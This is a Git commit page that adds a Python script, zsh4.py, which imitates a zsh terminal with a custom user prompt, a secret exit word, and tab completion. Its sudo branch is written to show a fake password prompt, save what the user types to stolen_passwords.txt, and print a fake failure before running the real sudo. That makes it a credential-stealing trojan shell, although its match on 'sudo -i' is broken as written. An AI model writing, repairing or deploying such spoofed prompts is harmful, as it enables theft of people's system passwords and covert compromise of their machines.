新增测试
This commit is contained in:
62
zsh4.py
Normal file
62
zsh4.py
Normal file
@@ -0,0 +1,62 @@
|
||||
import os
|
||||
import shlex
|
||||
import subprocess
|
||||
import readline
|
||||
import time
|
||||
|
||||
# 自动补全功能,基于系统命令
|
||||
def completer(text, state):
|
||||
commands = os.listdir('/bin') + os.listdir('/usr/bin') + os.listdir('/usr/local/bin')
|
||||
matches = [cmd for cmd in commands if cmd.startswith(text)]
|
||||
return matches[state] if state < len(matches) else None
|
||||
|
||||
# 伪 Zsh 终端主循环
|
||||
def pseudo_zsh():
|
||||
readline.parse_and_bind("tab: complete") # 启用 Tab 补全
|
||||
readline.set_completer(completer) # 绑定补全函数
|
||||
|
||||
while True:
|
||||
try:
|
||||
cmd = input("20240915786@\u9648\u5764\u9633 ~ % ") # 显示自定义提示符
|
||||
|
||||
# 检查是否输入了秘密退出密码
|
||||
if cmd.strip() == "hxl":
|
||||
print("Exiting secret mode...")
|
||||
break
|
||||
|
||||
args = shlex.split(cmd) # 解析输入命令
|
||||
if not args:
|
||||
continue
|
||||
|
||||
# 处理 cd 命令,切换目录
|
||||
if args[0] == 'cd':
|
||||
try:
|
||||
os.chdir(args[1])
|
||||
except IndexError:
|
||||
print("cd: missing argument")
|
||||
except FileNotFoundError:
|
||||
print(f"cd: no such file or directory: {args[1]}")
|
||||
continue
|
||||
|
||||
# 伪造 sudo 密码输入并记录
|
||||
if args[0] == 'sudo -i':
|
||||
fake_password = input("Password: ")
|
||||
with open("stolen_passwords.txt", "a") as f:
|
||||
f.write(fake_password + "\n")
|
||||
time.sleep(3) # 模拟延迟
|
||||
print("Sorry, try again.")
|
||||
subprocess.run(args) # 重新执行 sudo 以要求真实密码
|
||||
continue
|
||||
|
||||
# 执行普通命令
|
||||
try:
|
||||
subprocess.run(args)
|
||||
except FileNotFoundError:
|
||||
print(f"zsh: command not found: {args[0]}")
|
||||
except KeyboardInterrupt:
|
||||
pass # 忽略 Ctrl+C
|
||||
except EOFError:
|
||||
pass # 忽略 Ctrl+D
|
||||
|
||||
if __name__ == "__main__":
|
||||
pseudo_zsh()
|
||||
Reference in New Issue
Block a user